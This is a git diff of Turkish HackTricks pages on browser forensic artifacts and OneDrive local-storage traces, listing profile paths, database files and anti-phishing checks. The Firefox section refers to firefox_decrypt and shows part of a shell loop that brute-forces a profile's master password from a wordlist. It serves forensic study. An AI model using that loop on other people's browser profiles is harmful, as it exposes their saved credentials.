+**Hacking püf noktalarınızı göndererek HackTricks deposuna** [**PR göndererek**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud deposuna**](https://github.com/carlospolop/hacktricks-cloud) **paylaşın.**
-
+
\
-Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
index a79b34141..2e9f42626 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
@@ -1,80 +1,78 @@
-# Tarayıcı Araçları
+# Tarayıcı Kalıntıları
-AWS hacklemeyi sıfırdan kahraman olmak içinhtARTE (HackTricks AWS Kırmızı Takım Uzmanı) öğrenin!
+Sıfırdan kahraman olmak için AWS hackleme öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'ı desteklemenin diğer yolları:
-* Şirketinizi **HackTricks'te reklam vermek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı takip edin.
-* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\
-Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
+Dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest'i**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanın.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## Tarayıcı Araçları
+## Tarayıcı Kalıntıları
-Tarayıcı araçları, web tarayıcıları tarafından depolanan çeşitli veri türlerini içerir. Bu araçlar, gezinme geçmişi, yer imleri ve önbellek verileri gibi verileri içeren işletim sistemi içindeki belirli klasörlerde saklanır. Tarayıcılara göre konum ve isim açısından farklılık gösterse de genellikle benzer veri türlerini depolarlar.
+Tarayıcı kalıntıları, web tarayıcıları tarafından depolanan çeşitli veri türlerini içerir; gezinme geçmişi, yer imleri ve önbellek verileri gibi. Bu kalıntılar işletim sistemi içinde belirli klasörlerde saklanır, tarayıcılara göre konum ve ad farklı olabilir, ancak genellikle benzer veri türlerini depolarlar.
-İşte en yaygın tarayıcı araçlarının özeti:
-
-- **Gezinme Geçmişi**: Kullanıcının web sitelerini ziyaretlerini takip eder, kötü amaçlı sitelere yapılan ziyaretleri belirlemek için kullanışlıdır.
-- **Otomatik Tamamlama Verileri**: Sık aramalara dayalı öneriler, gezinme geçmişiyle birleştirildiğinde bilgi sağlar.
-- **Yer İmleri**: Kullanıcının hızlı erişim için kaydettiği siteler.
-- **Eklentiler ve Ek Paketler**: Kullanıcı tarafından yüklenen tarayıcı eklentileri veya ek paketler.
-- **Önbellek**: Web içeriğini (örneğin, resimler, JavaScript dosyaları) web sitesi yükleme sürelerini iyileştirmek için depolar, adli analiz için değerlidir.
-- **Oturum Açma Bilgileri**: Kaydedilen oturum açma kimlik bilgileri.
-- **Favikonlar**: Sekmelerde ve yer imlerinde görünen web siteleriyle ilişkilendirilen simgeler, kullanıcı ziyaretleri hakkında ek bilgi sağlar.
-- **Tarayıcı Oturumları**: Açık tarayıcı oturumlarıyla ilgili veriler.
-- **İndirmeler**: Tarayıcı aracılığıyla indirilen dosyaların kayıtları.
-- **Form Verileri**: Web formlarına girilen bilgiler, gelecekteki otomatik tamamlama önerileri için kaydedilir.
-- **Küçük Resimler**: Web sitelerinin önizleme görüntüleri.
-- **Custom Dictionary.txt**: Kullanıcının tarayıcının sözlüğüne eklediği kelimeler.
+İşte en yaygın tarayıcı kalıntılarının özeti:
+* **Gezinme Geçmişi**: Kullanıcının web sitelerini ziyaretlerini takip eder, kötü amaçlı sitelere ziyaretleri tanımlamak için faydalıdır.
+* **Otomatik Tamamlama Verileri**: Sık aramalara dayalı öneriler, gezinme geçmişi ile birleştirildiğinde içgörüler sunar.
+* **Yer İmleri**: Kullanıcı tarafından hızlı erişim için kaydedilen siteler.
+* **Uzantılar ve Eklentiler**: Kullanıcı tarafından yüklenen tarayıcı uzantıları veya eklentileri.
+* **Önbellek**: Web içeriğini (örneğin, resimler, JavaScript dosyaları) saklar, web sitesi yükleme sürelerini iyileştirmek için değerli bir araştırma analizi aracıdır.
+* **Girişler**: Saklanan giriş kimlik bilgileri.
+* **Favikonlar**: Sitelerle ilişkilendirilen simgeler, sekmelerde ve yer imlerinde görünür, kullanıcı ziyaretleri hakkında ek bilgiler için faydalıdır.
+* **Tarayıcı Oturumları**: Açık tarayıcı oturumlarıyla ilgili veriler.
+* **İndirmeler**: Tarayıcı aracılığıyla indirilen dosyaların kayıtları.
+* **Form Verileri**: Web formlarına girilen bilgiler, gelecekte otomatik doldurma önerileri için kaydedilir.
+* **Küçük Resimler**: Web sitelerinin önizleme görüntüleri.
+* **Özel Sözlük.txt**: Kullanıcının tarayıcının sözlüğüne eklediği kelimeler.
## Firefox
-Firefox, kullanıcı verilerini profiller içinde düzenler ve işletim sistemine bağlı olarak belirli konumlarda depolar:
+Firefox, kullanıcı verilerini işletim sistemine bağlı olarak belirli konumlarda depolanan profiller içinde düzenler:
-- **Linux**: `~/.mozilla/firefox/`
-- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
-- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
+* **Linux**: `~/.mozilla/firefox/`
+* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
+* **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
-Bu dizinlerdeki `profiles.ini` dosyası kullanıcı profillerini listeler. Her profilin verileri, `profiles.ini` dosyasının bulunduğu dizindeki `Path` değişkenine adı verilen bir klasörde depolanır. Bir profil klasörü eksikse, silinmiş olabilir.
+Bu dizinlerdeki `profiles.ini` dosyası kullanıcı profillerini listeler. Her profilin verileri, `profiles.ini` dosyasının bulunduğu dizindeki `Path` değişkeninde adlandırılan bir klasörde saklanır. Bir profil klasörü eksikse, silinmiş olabilir.
-Her profil klasörü içinde, birkaç önemli dosya bulunur:
+Her profil klasöründe, birkaç önemli dosya bulabilirsiniz:
-- **places.sqlite**: Geçmiş, yer imleri ve indirmeleri depolar. Windows'ta [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) gibi araçlar geçmiş verilerine erişebilir.
-- Geçmiş ve indirme bilgilerini çıkarmak için belirli SQL sorgularını kullanın.
-- **bookmarkbackups**: Yer imi yedeklerini içerir.
-- **formhistory.sqlite**: Web formu verilerini depolar.
-- **handlers.json**: Protokol işleyicilerini yönetir.
-- **persdict.dat**: Özel sözlük kelimeleri.
-- **addons.json** ve **extensions.sqlite**: Yüklenen eklentiler ve ek paketler hakkında bilgi.
-- **cookies.sqlite**: Çerez depolama, Windows'ta [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) ile incelenebilir.
-- **cache2/entries** veya **startupCache**: Önbellek verileri, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html) gibi araçlarla erişilebilir.
-- **favicons.sqlite**: Favikonları depolar.
-- **prefs.js**: Kullanıcı ayarları ve tercihleri.
-- **downloads.sqlite**: Eski indirme veritabanı, şimdi places.sqlite'a entegre edilmiştir.
-- **thumbnails**: Web sitesi küçük resimleri.
-- **logins.json**: Şifreli oturum açma bilgileri.
-- **key4.db** veya **key3.db**: Hassas bilgileri korumak için şifreleme anahtarlarını depolar.
+* **places.sqlite**: Geçmişi, yer imlerini ve indirmeleri saklar. Windows'ta [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) gibi araçlar geçmiş verilerine erişebilir.
+* Geçmiş ve indirme bilgilerini çıkarmak için belirli SQL sorgularını kullanın.
+* **bookmarkbackups**: Yer imlerinin yedeklerini içerir.
+* **formhistory.sqlite**: Web formu verilerini saklar.
+* **handlers.json**: Protokol işleyicilerini yönetir.
+* **persdict.dat**: Özel sözlük kelimeleri.
+* **addons.json** ve **extensions.sqlite**: Yüklenen eklenti ve uzantı bilgileri.
+* **cookies.sqlite**: Çerez depolama, Windows'ta inceleme için [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) kullanılabilir.
+* **cache2/entries** veya **startupCache**: Önbellek verileri, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html) gibi araçlar aracılığıyla erişilebilir.
+* **favicons.sqlite**: Favikonları saklar.
+* **prefs.js**: Kullanıcı ayarları ve tercihleri.
+* **downloads.sqlite**: Eski indirme veritabanı, şimdi places.sqlite'a entegre edilmiştir.
+* **thumbnails**: Web sitesi küçük resimleri.
+* **logins.json**: Şifrelenmiş giriş bilgileri.
+* **key4.db** veya **key3.db**: Hassas bilgileri güvence altına alan şifreleme anahtarlarını saklar.
-Ek olarak, tarayıcının anti-phishing ayarlarını kontrol etmek için `prefs.js` dosyasında `browser.safebrowsing` girişlerini arayabilirsiniz. Bu girişler, güvenli gezinme özelliklerinin etkin veya devre dışı olup olmadığını gösterir.
+Ayrıca, tarayıcının anti-phishing ayarlarını kontrol etmek için `prefs.js` dosyasında `browser.safebrowsing` girişlerini arayarak güvenli gezinme özelliklerinin etkin veya devre dışı bırakılıp bırakılmadığını kontrol edebilirsiniz.
-
-Ana şifreyi çözmek için [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt) adresini kullanabilirsiniz.\
-Aşağıdaki betik ve çağrı ile bir şifre dosyası belirterek brute force yapabilirsiniz:
+Ana şifreyi çözmek için şu adresten [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt) yararlanabilirsiniz\
+Aşağıdaki betik ve çağrı ile kaba kuvvetle bir şifre dosyası belirleyebilirsiniz:
{% code title="brute.sh" %}
```bash
@@ -87,10 +85,6 @@ echo "Trying $pass"
echo "$pass" | python firefox_decrypt.py
done < $passfile
```
-{% endcode %}
-
-![](<../../../.gitbook/assets/image (417).png>)
-
## Google Chrome
Google Chrome, kullanıcı profillerini işletim sistemine bağlı olarak belirli konumlarda saklar:
@@ -99,52 +93,57 @@ Google Chrome, kullanıcı profillerini işletim sistemine bağlı olarak belirl
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
-Bu dizinlerde, kullanıcı verilerinin çoğu **Default/** veya **ChromeDefaultData/** klasörlerinde bulunabilir. Aşağıdaki dosyalar önemli verileri içerir:
+Bu dizinlerde, kullanıcı verilerinin çoğu **Default/** veya **ChromeDefaultData/** klasörlerinde bulunabilir. Önemli verileri içeren aşağıdaki dosyalar bulunmaktadır:
-- **History**: URL'leri, indirmeleri ve arama anahtar kelimelerini içerir. Windows'ta, geçmişi okumak için [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) kullanılabilir. "Transition Type" sütunu, kullanıcının bağlantılara tıklamaları, yazılan URL'ler, form gönderimleri ve sayfa yenilemeleri gibi çeşitli anlamlara sahiptir.
-- **Cookies**: Çerezleri saklar. İncelemek için [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) kullanılabilir.
-- **Cache**: Önbelleğe alınmış verileri saklar. Windows kullanıcıları, [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) aracını kullanabilir.
+- **History**: URL'leri, indirmeleri ve arama anahtar kelimelerini içerir. Windows'ta, geçmişi okumak için [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) kullanılabilir. "Transition Type" sütunu, kullanıcıların bağlantılara tıklamalarını, yazılan URL'leri, form gönderimlerini ve sayfa yenilemelerini içerir.
+- **Cookies**: Çerezleri saklar. İncelemek için [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) kullanılabilir.
+- **Cache**: Önbelleğe alınmış verileri saklar. İncelemek için Windows kullanıcıları [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) kullanabilir.
- **Bookmarks**: Kullanıcı yer imleri.
- **Web Data**: Form geçmişini içerir.
- **Favicons**: Web sitesi faviconlarını saklar.
- **Login Data**: Kullanıcı adları ve şifreler gibi giriş kimlik bilgilerini içerir.
- **Current Session**/**Current Tabs**: Geçerli gezinme oturumu ve açık sekmeler hakkında veriler.
-- **Last Session**/**Last Tabs**: Chrome kapatılmadan önceki son oturumda aktif olan siteler hakkında bilgi.
+- **Last Session**/**Last Tabs**: Chrome kapatılmadan önceki son oturum sırasında aktif olan siteler hakkında bilgi.
- **Extensions**: Tarayıcı uzantıları ve eklentileri için dizinler.
-- **Thumbnails**: Web sitesi küçük resimlerini saklar.
-- **Preferences**: Eklentiler, uzantılar, açılır pencereler, bildirimler ve daha fazlası için ayarları içeren bilgi açısından zengin bir dosya.
-- **Tarayıcının yerleşik anti-phishing özelliği**: Anti-phishing ve kötü amaçlı yazılım korumasının etkin olup olmadığını kontrol etmek için `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` komutunu çalıştırın. Çıktıda `{"enabled: true,"}` ifadesini arayın.
-
+- **Thumbnails**: Web sitesi minik resimlerini saklar.
+- **Preferences**: Eklentiler, uzantılar, açılır pencereler, bildirimler ve daha fazlası için ayarları içeren zengin bir dosya.
+- **Tarayıcının yerleşik anti-phishing'i**: Anti-phishing ve kötü amaçlı yazılım korumasının etkin olup olmadığını kontrol etmek için `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` komutunu çalıştırın. Çıktıda `{"enabled: true,"}` arayın.
## **SQLite DB Veri Kurtarma**
-Önceki bölümlerde gözlemleyebileceğiniz gibi, hem Chrome hem de Firefox verileri saklamak için **SQLite** veritabanlarını kullanır. Silinen girişleri kurtarmak mümkündür ve bunun için [**sqlparse**](https://github.com/padfoot999/sqlparse) **veya** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) aracı kullanılabilir.
+Önceki bölümlerde gözlemleyebileceğiniz gibi, hem Chrome hem de Firefox verileri saklamak için **SQLite** veritabanlarını kullanır. Silinmiş girişleri kurtarmak için [**sqlparse**](https://github.com/padfoot999/sqlparse) veya [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) gibi araçlar kullanılabilir.
## **Internet Explorer 11**
-Internet Explorer 11, depolanan bilgileri ve ilgili ayrıntıları kolay erişim ve yönetim için çeşitli konumlarda yönetir.
+Internet Explorer 11, depolanan bilgileri ve ilgili ayrıntıları kolay erişim ve yönetim için farklı konumlarda yönetir.
### Metadata Depolama
-Internet Explorer için metadata `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (VX V01, V16 veya V24 olabilir) dosyasında saklanır. Buna ek olarak, `V01.log` dosyası `WebcacheVX.data` ile değişiklik zamanı uyumsuzlukları gösterebilir, bu da `esentutl /r V01 /d` kullanarak onarım gerektiğini gösterir. Bu ESE veritabanında saklanan metadata, sırasıyla photorec ve [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) gibi araçlar kullanılarak kurtarılabilir ve incelenebilir. **Containers** tablosu içinde, her veri segmentinin depolandığı belirli tabloları veya konteynerleri belirlemek mümkündür. Bu, Skype gibi diğer Microsoft araçları için önbellek ayrıntılarını içerir.
+
+Internet Explorer için metadata `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (VX V01, V16 veya V24 olabilir) içinde saklanır. Buna ek olarak, `V01.log` dosyası, `WebcacheVX.data` ile değişiklik zamanı uyumsuzluklarını gösterebilir, bu da `esentutl /r V01 /d` kullanarak onarım gerektiğini gösterebilir. Bu ESE veritabanında bulunan metadata, photorec ve [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) gibi araçlar kullanılarak kurtarılabilir ve incelenebilir. **Containers** tablosu içinde, her veri segmentinin depolandığı belirli tabloları veya konteynerleri ayırt edebilirsiniz, Skype gibi diğer Microsoft araçları için önbellek ayrıntılarını içerir.
### Önbellek İnceleme
-[IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) aracı, önbelleği incelemek için kullanılır ve önbellek veri çıkarma klasör konumunu gerektirir. Önbellek için metadata, dosya adı, dizin, erişim sayısı, URL kaynağı ve önbellek oluşturma, erişim, değiştirme ve sona erme zamanlarını gösteren zaman damgalarını içerir.
+
+[IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) aracı, önbellek incelemesine olanak tanır, önbellek veri çıkarma klasör konumunu gerektirir. Önbellek için metadata, dosya adı, dizin, erişim sayısı, URL kökeni ve önbellek oluşturma, erişim, değiştirme ve sona erme zamanlarını gösteren zaman damgalarını içerir.
### Çerez Yönetimi
-Çerezler [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) kullanılarak incelenebilir ve metadata, isimler, URL'ler, erişim sayıları ve çeşitli zamanla ilgili ayrıntıları içerir. Kalıcı çerezler `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` dizininde saklanırken, oturum çerezleri bellekte bulunur.
+
+Çerezler, [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) kullanılarak incelenebilir, metadata isimleri, URL'ler, erişim sayıları ve çeşitli zamanla ilgili ayrıntıları içerir. Kalıcı çerezler `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` içinde saklanırken, oturum çerezleri bellekte saklanır.
### İndirme Ayrıntıları
-İndirme metadata'sı [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) aracıyla erişilebilir ve belirli konteynerler, URL, dosya türü ve indirme konumu gibi verileri içerir. Fiziksel dosyalar `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` altında bulunabilir.
+
+İndirme metadata'sı [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) ile erişilebilir, belirli konteynerler URL, dosya türü ve indirme konumu gibi verileri içerir. Fiziksel dosyalar `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` altında bulunabilir.
### Gezinti Geçmişi
-Gezinti geçmişini incelemek için [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) kullanılabilir. Bu, çıkarılan geçmiş dosyalarının konumunu ve Internet Explorer için yapılandırmayı gerektirir. Buradaki metadata, değiştirme ve erişim zamanları ile erişim sayılarını içerir. Geçmiş dosyaları `%userprofile%\Appdata\Local\Microsoft\Windows\History` dizininde bulunur.
+
+Gezinti geçmişini incelemek için [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) kullanılabilir, çıkarılan geçmiş dosyalarının konumunu ve Internet Explorer için yapılandırmayı gerektirir. Buradaki metadata, değiştirme ve erişim zamanları ile erişim sayılarını içerir. Geçmiş dosyaları `%userprofile%\Appdata\Local\Microsoft\Windows\History` içinde bulunur.
### Yazılan URL'ler
-Yazılan URL'ler ve kullanım zamanları, `NTUSER.DAT` altında `Software\Microsoft\InternetExplorer\TypedURLs` ve `Software\Microsoft\InternetExplorer\TypedURLsTime` altında kaydedilir. Bu, kullanıcının girdiği son 50 URL'yi ve son giriş zamanlarını takip eder.
+
+Yazılan URL'ler ve kullanım zamanları, kullanıcı tarafından girilen son 50 URL'yi ve son giriş zamanlarını takip eden `NTUSER.DAT` altında `Software\Microsoft\InternetExplorer\TypedURLs` ve `Software\Microsoft\InternetExplorer\TypedURLsTime` içinde saklanır.
## Microsoft Edge
-Microsoft Edge, kullanıcı verilerini `%userprofile%\Appdata\Local\Packages` dizininde saklar. Farklı veri türleri için yol şunlardır:
+Microsoft Edge, kullanıcı verilerini `%userprofile%\Appdata\Local\Packages` içinde saklar. Farklı veri türleri için yollar şunlardır:
- **Profil Yolu**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
- **Geçmiş, Çerezler ve İndirmeler**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
@@ -154,10 +153,26 @@ Microsoft Edge, kullanıcı verilerini `%userprofile%\Appdata\Local\Packages` di
## Safari
-Safari verileri `/Users/$User/Library/Safari` dizin
-* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni alın.
-* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu.
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı **takip edin**.
-* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
+Safari verileri `/Users/$User/Library/Safari` içinde saklanır. Ana dosyalar şunları içerir:
-
+- **History.db**: URL'leri ve ziyaret zamanlarını içeren `history_visits` ve `history_items` tablolarını içerir. Sorgulamak için `sqlite3` kullanın.
+- **Downloads.plist**: İndirilen dosyalar hakkında bilgi.
+- **Bookmarks.plist**: Yer imlerini saklar.
+- **TopSites.plist**: En sık ziyaret edilen siteler.
+- **Extensions.plist**: Safari tarayıcı uzantılarının listesi. Almak için `plutil` veya `pluginkit` kullanın.
+- **UserNotificationPermissions.plist**: Bildirim göndermeye izin verilen alanlar. Ayrıştırmak için `plutil` kullanın.
+- **LastSession.plist**: Son oturumdan sekmeler. Ayrıştırmak için `plutil` kullanın.
+- **Tarayıcının yerleşik anti-phishing'i**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites` kullanarak kontrol edin. 1 yanıtı özelliğin etkin olduğunu gösterir.
+
+## Opera
+
+Opera'nın verileri `/Users/$USER/Library/Application Support/com.operasoftware.Opera` içinde saklanır ve Chrome'un geçmiş ve indirme formatını paylaşır.
+
+- **Tarayıcının yerleşik anti-phishing'i**: `fraud_protection_enabled`in `true` olarak ayarlandığını kontrol ederek doğrulayın, bunu `grep` kullanarak yapabilirsiniz.
+
+Bu yollar ve komutlar, farklı web tarayıcıları tarafından depolanan gezinme verilerine erişmek ve anlamak için önemlidir.
+* Eğer **şirketinizin HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı paylaşın, PR'larınızı göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
index b959fc01a..4f9569e5e 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
@@ -2,135 +2,135 @@
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin!
+AWS hacklemeyi sıfırdan kahramana öğreninhtARTE (HackTricks AWS Red Team Expert) ile!
-HackTricks'i desteklemenin diğer yolları:
+HackTricks'ı desteklemenin diğer yolları:
-* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
-* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) göz atın
-* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı **takip edin**.
-* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
+* **Hacking püf noktalarınızı HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
-
+
\
-Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## OneDrive
-Windows'ta, OneDrive klasörünü `\Users\\AppData\Local\Microsoft\OneDrive` dizininde bulabilirsiniz. Ve içinde `logs\Personal` klasöründe senkronize edilen dosyalarla ilgili bazı ilginç veriler içeren `SyncDiagnostics.log` dosyasını bulmak mümkündür:
+Windows'ta, OneDrive klasörünü `\Users\\AppData\Local\Microsoft\OneDrive` içinde bulabilirsiniz. Ve içinde `logs\Personal` klasöründe senkronize edilen dosyalarla ilgili bazı ilginç veriler içeren `SyncDiagnostics.log` dosyasını bulabilirsiniz:
* Bayt cinsinden boyut
* Oluşturma tarihi
* Değiştirme tarihi
-* Bulutta bulunan dosyaların sayısı
-* Klasörde bulunan dosyaların sayısı
+* Bulutta bulunan dosya sayısı
+* Klasörde bulunan dosya sayısı
* **CID**: OneDrive kullanıcısının benzersiz kimliği
* Rapor oluşturma zamanı
-* İşletim sistemi HD'nin boyutu
+* İşletim sisteminin HD boyutu
-CID'yi bulduktan sonra, bu kimliği içeren dosyaları **aramanız önerilir**. OneDrive ile senkronize edilen dosyaların adlarını içeren _**\.ini**_ ve _**\.dat**_ adında dosyalar bulabilirsiniz.
